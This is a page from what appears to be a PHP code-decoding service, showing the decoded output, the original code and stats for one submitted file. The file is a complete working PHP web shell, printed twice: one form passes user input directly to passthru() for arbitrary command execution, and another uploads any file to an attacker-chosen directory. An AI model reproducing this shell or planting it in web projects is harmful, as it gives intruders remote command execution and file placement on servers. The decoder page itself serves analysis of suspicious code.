Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<html> <head> <div align="left"><font size="1">Input command :</font></div> <form name=..

Decoded Output download

<html> 
<head> 
<div align="left"><font size="1">Input command :</font></div> 
<form name="cmd" method="POST" enctype="multipart/form-data"> 
<input type="text" name="cmd" size="30" class="input"><br> 
<pre> 
<?php 
if ($_POST['cmd']){ 
$cmd = $_POST['cmd']; 
passthru($cmd); 
} 
?> 
</pre> 
<hr> 
<div align="left"><font size="1">Uploader file :</font></div> 
 
<?php 
$uploaded = $_FILES['file']['tmp_name']; 
if (file_exists($uploaded)) { 
   $pwddir = $_POST['dir']; 
   $real = $_FILES['file']['name']; 
   $dez = $pwddir."/".$real; 
   copy($uploaded, $dez); 
   echo "FILE UPLOADED TO $dez"; 
} 
?>     </pre> 
<form name="form1" method="post" enctype="multipart/form-data"> 
 <input type="text" name="dir" size="30" value="<? passthru("pwd"); ?>"> 
 <input type="submit" name="submit2" value="Upload"> 
 <input type="file" name="file" size="15"> 
	  </td> 
    </tr> 
</table> 
</body> 
</html> 

Did this file decode correctly?

Original Code

<html>
<head>
<div align="left"><font size="1">Input command :</font></div>
<form name="cmd" method="POST" enctype="multipart/form-data">
<input type="text" name="cmd" size="30" class="input"><br>
<pre>
<?php
if ($_POST['cmd']){
$cmd = $_POST['cmd'];
passthru($cmd);
}
?>
</pre>
<hr>
<div align="left"><font size="1">Uploader file :</font></div>

<?php
$uploaded = $_FILES['file']['tmp_name'];
if (file_exists($uploaded)) {
   $pwddir = $_POST['dir'];
   $real = $_FILES['file']['name'];
   $dez = $pwddir."/".$real;
   copy($uploaded, $dez);
   echo "FILE UPLOADED TO $dez";
}
?>     </pre>
<form name="form1" method="post" enctype="multipart/form-data">
 <input type="text" name="dir" size="30" value="<? passthru("pwd"); ?>">
 <input type="submit" name="submit2" value="Upload">
 <input type="file" name="file" size="15">
	  </td>
    </tr>
</table>
</body>
</html>

Function Calls

passthru 1

Variables

$cmd None

Stats

MD5 c954b1d6238b8f5a8f561d9a1b15ccb1
Eval Count 0
Decode Time 92 ms